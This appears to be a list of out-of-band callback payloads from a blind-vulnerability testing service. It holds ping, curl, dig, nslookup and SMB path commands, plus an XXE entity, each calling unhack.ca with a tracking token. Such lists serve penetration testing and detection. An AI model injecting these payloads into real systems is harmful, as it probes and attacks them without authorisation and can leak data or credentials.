$ ping -c1 -p 00c474865ccc344143a23764853ebf00 unhack.ca
 

$ curl http://unhack.ca/p/c474865ccc344143a23764853ebf
 

$ dig c474865ccc344143a23764853ebf @unhack.ca
 

$ dig c474865ccc344143a23764853ebf.ns.unhack.ca
 

C:\> nslookup c474865ccc344143a23764853ebf unhack.ca
 

C:\> type \\unhack.ca\c474865ccc344143a23764853ebf\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c474865ccc344143a23764853ebf">]>
    <foo>&xxe;</foo>